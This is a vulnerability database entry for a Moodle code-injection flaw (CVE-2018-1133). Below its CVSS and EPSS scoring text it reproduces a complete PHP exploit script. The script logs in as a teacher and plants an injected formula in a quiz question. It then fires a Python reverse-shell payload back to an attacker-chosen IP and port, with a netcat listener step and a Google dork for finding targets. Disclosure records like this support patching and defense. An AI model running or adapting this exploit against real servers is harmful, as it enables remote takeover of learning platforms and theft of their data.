Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-94 |
Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
|
Metrics
| Metric |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
8.8 |
HIGH |
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack ComplexityThis metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User InteractionThis metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. ScopeFormally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
6.5 |
|
AV:N/AC:L/Au:S/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 46551
Publication date : 2019-03-14 23:00 +00:00
Author : Darryn Ten
EDB Verified : No
<?php
/**
* Exploit Title: Moodle v3.4.1 RCE Exploit
* Google Dork: inurl:"/course/jumpto.php?jump="
* Date: 15 March 2019
* Exploit Author: Darryn Ten
* Vendor Homepage: https://moodle.org
* Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip
* Version: 3.4.1 (Possibly < 3.5.0 and maybe even 3.x)
* Tested on: Linux with Moodle v3.4.1
* CVE : CVE-2018-1133
*
* This exploit is based on information provided by Robin Peraglie.
* Additional Reading: https://blog.ripstech.com/2018/moodle-remote-code-execution
*
* A user with the teacher role is able to execute arbitrary code.
*
* Usage:
*
* > php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1
*
* user The account username
* pass The password to the account
* ip Callback IP
* port Callback Port
* course Valid course ID belonging to the teacher
*
* Make sure you're running a netcat listener on the specified port before
* executing this script.
*
* > nc -lnvp 1010
*
* This will attempt to open up a reverse shell to the listening IP and port.
*
* You can start the script with `debug=true` to enable debug mode.
*/
namespace exploit {
class moodle {
public $ip;
public $port;
public $courseId;
public $cookie_jar;
public $url;
public $pass;
public $payload;
public $quizId = false;
public $moodleSession = false;
public $moodleKey;
// Verification patterns
public $loginSuccessMatch = "/course.view\.php/";
public $courseSuccessMatch = "/.\/i.Edit.settings.\/a./";
public $editSuccessMatch = "/.view.php\?id=2¬ifyeditingon=1/";
public $quizSuccessMatch = "/.title.Editing.Quiz.\/title./";
public $quizConfigMatch = "/title.*xxxx.\/title./";
public $evilSuccess = "/The\ wild\ cards\ \<strong\>\{x..\}\<\/strong\>\ will\ be\ substituted/";
public $debug;
public function __construct($url, $user, $pass, $ip, $port, $course, $debug) {
$this->cookie_jar = tempnam("/tmp","cookie");
$this->url = $url;
$this->pass = $pass;
$this->ip = $ip;
$this->port = $port;
$this->courseId = $course;
$this->debug = $debug;
// Inject a reverse shell
// You could modify this payload to inject whatever you like
$this->payload = "(python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((\"".$this->ip."\",".$this->port."))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([\"/bin/sh\",\"-i\"])%3b')";
echo("\n\r");
echo("*------------------------------*\n\r");
echo("* Noodle [Moodle RCE] (v3.4.1) *\n\r");
echo("*------------------------------*\n\r");
echo("\n\r");
echo("[!] Make sure you have a listener\n\r");
echo(sprintf("[!] at %s:%s\n\r", $this->ip, $this->port));
echo("\n\r");
$this->login($url, $user, $pass);
$this->loadCourse($this->courseId);
$this->enableEdit();
$this->addQuiz();
$this->editQuiz();
$this->addCalculatedQuestion();
$this->addEvilQuestion();
$this->exploit();
echo "[*] DONE\n\r";
die();
}
function login($url, $user, $pass) {
echo(sprintf("[*] Logging in as user %s with password %s \n\r", $user, $pass));
$data = [
"anchor" => "",
"username" => $user,
"password" => $pass
];
$result = $this->httpPost("/login/index.php", $data);
if (!preg_match($this->loginSuccessMatch, $result["body"])) {
echo "[-] LOGIN FAILED!\n\r";
echo "[?] Do you have the right credentials and url?\n\r";
die();
}
$matches = [];
$cookies = preg_match_all("/MoodleSession=(.*); path=/", $result["header"], $matches);
$this->moodleSession = $matches[1][1];
$matches = [];
$key = preg_match_all("/sesskey\":\"(.*)\",\"themerev/", $result["body"], $matches);
$this->moodleKey = $matches[1][0];
echo "[+] Successful Login\n\r";
echo sprintf("[>] Moodle Session %s \n\r", $this->moodleSession);
echo sprintf("[>] Moodle Key %s \n\r", $this->moodleKey);
}
function loadCourse($id) {
echo(sprintf("[*] Loading Course ID %s \n\r", $id));
$result = $this->httpGet(sprintf("/course/view.php?id=%s", $id), $this->moodleSession);
if (!preg_match($this->courseSuccessMatch, $result["body"])) {
echo "[-] LOADING COURSE FAILED!\n\r";
echo "[?] Does the course exist and belong to the teacher?\n\r";
die();
}
echo "[+] Successfully Loaded Course\n\r";
}
function enableEdit() {
echo(sprintf("[*] Enable Editing\n\r"));
$result = $this->httpGet(sprintf(
"/course/view.php?id=%s&sesskey=%s&edit=on",
$this->courseId,
$this->moodleKey
), $this->moodleSession);
if (!preg_match($this->editSuccessMatch, $result["header"])) {
echo "[-] ENABLE EDITING FAILED!\n\r";
echo "[?] Does the user have the teacher role?\n\r";
die();
}
echo "[+] Successfully Enabled Course Editing\n\r";
}
function addQuiz() {
echo(sprintf("[*] Adding Quiz\n\r"));
$data = [
"course" => $this->courseId,
"sesskey" => $this->moodleKey,
"jump" => urlencode(sprintf(
"/course/mod.php?id=%s&sesskey=%s&str=0&add=quiz§ion=0",
$this->courseId,
$this->moodleKey
)),
];
$result = $this->httpPost("/course/jumpto.php", $data, $this->moodleSession);
if (!preg_match($this->quizSuccessMatch, $result["body"])) {
echo "[-] ADD QUIZ FAILED!\n\r";
die();
}
echo "[+] Successfully Added Quiz\n\r";
echo "[*] Configuring New Quiz\n\r";
$submit = [
"grade" => 10,
"boundary_repeats" => 1,
"completionunlocked" => 1,
"course" => $this->courseId,
"coursemodule" => "",
"section" => 0,
"module" => 16,
"modulename" => "quiz",
"instance" => "",
"add" => "quiz",
"update" => 0,
"return" => 0,
"sr" => 0,
"sesskey" => $this->moodleKey,
"_qf__mod_quiz_mod_form" => 1,
"mform_showmore_id_layouthdr" => 0,
"mform_showmore_id_interactionhdr" => 0,
"mform_showmore_id_display" => 0,
"mform_showmore_id_security" => 0,
"mform_isexpanded_id_general" => 1,
"mform_isexpanded_id_timing" => 0,
"mform_isexpanded_id_modstandardgrade" => 0,
"mform_isexpanded_id_layouthdr" => 0,
"mform_isexpanded_id_interactionhdr" => 0,
"mform_isexpanded_id_reviewoptionshdr" => 0,
"mform_isexpanded_id_display" => 0,
"mform_isexpanded_id_security" => 0,
"mform_isexpanded_id_overallfeedbackhdr" => 0,
"mform_isexpanded_id_modstandardelshdr" => 0,
"mform_isexpanded_id_availabilityconditionsheader" => 0,
"mform_isexpanded_id_activitycompletionheader" => 0,
"mform_isexpanded_id_tagshdr" => 0,
"mform_isexpanded_id_competenciessection" => 0,
"name" => "xxxx",
"introeditor[text]" => "<p>xxxx<br></p>",
"introeditor[format]" => 1,
"introeditor[itemid]" => 966459952,
"showdescription" => 0,
"overduehandling" => "autosubmit",
"gradecat" => 1,
"gradepass" => "",
"attempts" => 0,
"grademethod" => 1,
"questionsperpage" => 1,
"navmethod" => "free",
"shuffleanswers" => 1,
"preferredbehaviour" => "deferredfeedback",
"attemptonlast" => 0,
"attemptimmediately" => 1,
"correctnessimmediately" => 1,
"marksimmediately" => 1,
"specificfeedbackimmediately" => 1,
"generalfeedbackimmediately" => 1,
"rightanswerimmediately" => 1,
"overallfeedbackimmediately" => 1,
"attemptopen" => 1,
"correctnessopen" => 1,
"marksopen" => 1,
"specificfeedbackopen" => 1,
"generalfeedbackopen" => 1,
"rightansweropen" => 1,
"overallfeedbackopen" => 1,
"showuserpicture" => 0,
"decimalpoints" => 2,
"questiondecimalpoints" => -1,
"showblocks" => 0,
"quizpassword" => "",
"subnet" => "",
"browsersecurity" => "-",
"feedbacktext[0][text]" => "",
"feedbacktext[0][format]" => 1,
"feedbacktext[0][itemid]" => 754687559,
"feedbackboundaries[0]" => "",
"feedbacktext[1][text]" => "",
"feedbacktext[1][format]" => 1,
"feedbacktext[1][itemid]" => 88204176,
"visible" => 1,
"cmidnumber" => "",
"groupmode" => 0,
"availabilityconditionsjson" => urlencode("{\"op\":\"&\",\"c\":[],\"showc\":[]}"),
"completion" => 1,
"tags" => "_qf__force_multiselect_submission",
"competency_rule" => 0,
"submitbutton" => "Save and display"
];
$result = $this->httpPost("/course/modedit.php", $submit, $this->moodleSession);
if (!preg_match($this->quizConfigMatch, $result["body"])) {
echo "[-] CONFIGURE QUIZ FAILED!\n\r";
die();
}
$matches = [];
$quiz = preg_match_all("/quiz\/view.php.id=(.*)&forceview=1/", $result["header"], $matches);
$this->quizId = $matches[1][0];
echo "[+] Successfully Configured Quiz\n\r";
}
function editQuiz() {
echo(sprintf("[*] Loading Edit Quiz Page \n\r"));
$result = $this->httpGet(sprintf("/mod/quiz/edit.php?cmid=%s", $this->quizId), $this->moodleSession);
if (!preg_match("/.title.Editing quiz: xxxx.\/title/", $result["body"])) {
echo "[-] LOADING EDITING PAGE FAILED!\n\r";
die();
}
echo "[+] Successfully Loaded Edit Quiz Page\n\r";
}
function addCalculatedQuestion() {
echo(sprintf("[*] Adding Calculated Question \n\r"));
$endpoint = "/question/question.php?courseid=".$this->courseId."&sesskey=".$this->moodleKey."&qtype=calculated&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D".$this->quizId."%26addonpage%3D0&cmid=".$this->quizId."&category=2&addonpage=0&appendqnumstring=addquestion'";
$result = $this->httpGet($endpoint, $this->moodleSession);
if (!preg_match("/title.Editing\ a\ Calculated\ question.\/title/", $result["body"])) {
echo "[-] ADDING CALCULATED QUESTION FAILED!\n\r";
die();
}
echo "[+] Successfully Added Calculation Question\n\r";
}
function addEvilQuestion() {
echo(sprintf("[*] Adding Evil Question \n\r"));
$payload = [
"initialcategory" => 1,
"reload" => 1,
"shuffleanswers" => 1,
"answernumbering" => "abc",
"mform_isexpanded_id_answerhdr" => 1,
"noanswers" => 1,
"nounits" => 1,
"numhints" => 2,
"synchronize" => "",
"wizard" => "datasetdefinitions",
"id" => "",
"inpopup" => 0,
"cmid" => $this->quizId,
"courseid" => 2,
"returnurl" => sprintf("/mod/quiz/edit.php?cmid=%s&addonpage=0", $this->quizId),
"scrollpos" => 0,
"appendqnumstring" => "addquestion",
"qtype" => "calculated",
"makecopy" => 0,
"sesskey" => $this->moodleKey,
"_qf__qtype_calculated_edit_form" => 1,
"mform_isexpanded_id_generalheader" => 1,
"mform_isexpanded_id_unithandling" => 0,
"mform_isexpanded_id_unithdr" => 0,
"mform_isexpanded_id_multitriesheader" => 0,
"mform_isexpanded_id_tagsheader" => 0,
"category" => "2,23",
"name" => "zzzz",
"questiontext[text]" => "<p>zzzz<br></p>",
"questiontext[format]" => 1,
"questiontext[itemid]" => 999787569,
"defaultmark" => 1,
"generalfeedback[text]" => "",
"generalfeedback[format]" => 1,
"generalfeedback[itemid]" => 729029157,
"answer[0]" => ' /*{a*/`$_GET[0]`;//{x}}',
"fraction[0]" => "1.0",
"tolerance[0]" => "0.01",
"tolerancetype[0]" => 1,
"correctanswerlength[0]" => 2,
"correctanswerformat[0]" => 1,
"feedback[0][text]" => "",
"feedback[0][format]" => 1,
"feedback[0][itemid]" => 928615051,
"unitrole" => 3,
"penalty" => "0.3333333",
"hint[0]text]" => "",
"hint[0]format]" => 1,
"hint[0]itemid]" => 236679070,
"hint[1]text]" => "",
"hint[1]format]" => 1,
"hint[1]itemid]" => 272691514,
"tags" => "_qf__force_multiselect_submission",
"submitbutton" => "Save change"
];
$result = $this->httpPost("/question/question.php", $payload, $this->moodleSession);
if (!preg_match($this->evilSuccess, $result["body"])) {
echo "[-] EVIL QUESTION CREATION FAILED!\n\r";
die();
}
echo "[+] Successfully Created Evil Question\n\r";
}
function exploit() {
echo "[*] Sending Exploit\n\r";
echo "\n\r";
if ($this->debug) {
echo "[D] Payload: \n\r";
echo sprintf("[>] %s \n\r", $this->payload);
}
$exploitUrl = sprintf(
"/question/question.php?returnurl=%s&addonpage=0&appendqnumstring=addquestion&scrollpos=0&id=8&wizardnow=datasetitems&cmid=%s&0=(%s)",
urlencode(sprintf(
"/mod/quiz/edit.php?cmid=%s",
$this->quizId)
),
$this->quizId,
$this->payload);
if ($this->debug) {
echo sprintf("[D] Exploit URL: %s \n\r", $exploitUrl);
}
echo sprintf("[>] You should receive a reverse shell attempt from the target at %s on port %s \n\r", $this->ip, $this->port);
echo sprintf("[>] If connection was successful this program will wait here until you close the connection.\n\r");
echo sprintf("[>] You should be able to Ctrl+C and retain the connection through netcat.\n\r");
$this->httpGet($exploitUrl, $this->moodleSession);
}
function httpPost($url, $data, $session = false, $json = false)
{
if ($this->debug) {
echo(sprintf("[D] Doing HTTP POST to URL: %s \n\r", $url));
echo(sprintf("[D] Session: %s \n\r", $session));
echo(sprintf("[D] Data: %s \n\r", json_encode($data)));
echo("\n\r");
}
$curl = curl_init(sprintf("%s%s", $this->url, $url));
$headers = [];
if ($session) {
array_push($headers, sprintf("Cookie: MoodleSession=%s", $session));
}
if ($json) {
array_push($headers, "Content-Type: application/json");
} else {
$data = urldecode(http_build_query($data));
}
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($curl);
$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
$header = substr($response, 0, $header_size);
$body = substr($response, $header_size);
if ($this->debug) {
echo "[D] Response Header";
echo sprintf("[>] %s", $header);
echo "";
echo "[D] Response Body";
echo sprintf("[>] %s", $body);
}
return [
"header" => $header,
"body" => $body
];
}
function httpGet($route, $session = false)
{
$url = sprintf("%s%s", $this->url, $route);
if ($this->debug) {
echo(sprintf("[D] Doing HTTP GET to URL: %s \n\r", $url));
echo("\n\r");
}
$headers = [];
if ($session) {
array_push($headers, sprintf("Cookie: MoodleSession=%s", $session));
}
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($curl);
$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
$header = substr($response, 0, $header_size);
$body = substr($response, $header_size);
if ($this->debug) {
echo "[D] Response Header";
echo sprintf("[>] %s", $header);
echo "";
echo "[D] Response Body";
echo sprintf("[>] %s", $body);
}
return [
"header" => $header,
"body" => $body
];
}
}
parse_str(implode("&", array_slice($argv, 1)), $_GET);
$url = $_GET["url"];
$user = $_GET["user"];
$pass = $_GET["pass"];
$ip = $_GET["ip"];
$port = $_GET["port"];
$course = $_GET["course"];
$debug = isset($_GET["debug"]) ? true : false;
new \exploit\moodle($url, $user, $pass, $ip, $port, $course, $debug);
}
Products Mentioned
Configuraton 0
Moodle>>Moodle >> Version From (including) 3.1.0 To (including) 3.1.11
Moodle>>Moodle >> Version From (including) 3.2.0 To (including) 3.2.8
Moodle>>Moodle >> Version From (including) 3.3.0 To (including) 3.3.5
Moodle>>Moodle >> Version From (including) 3.4.0 To (including) 3.4.2
References
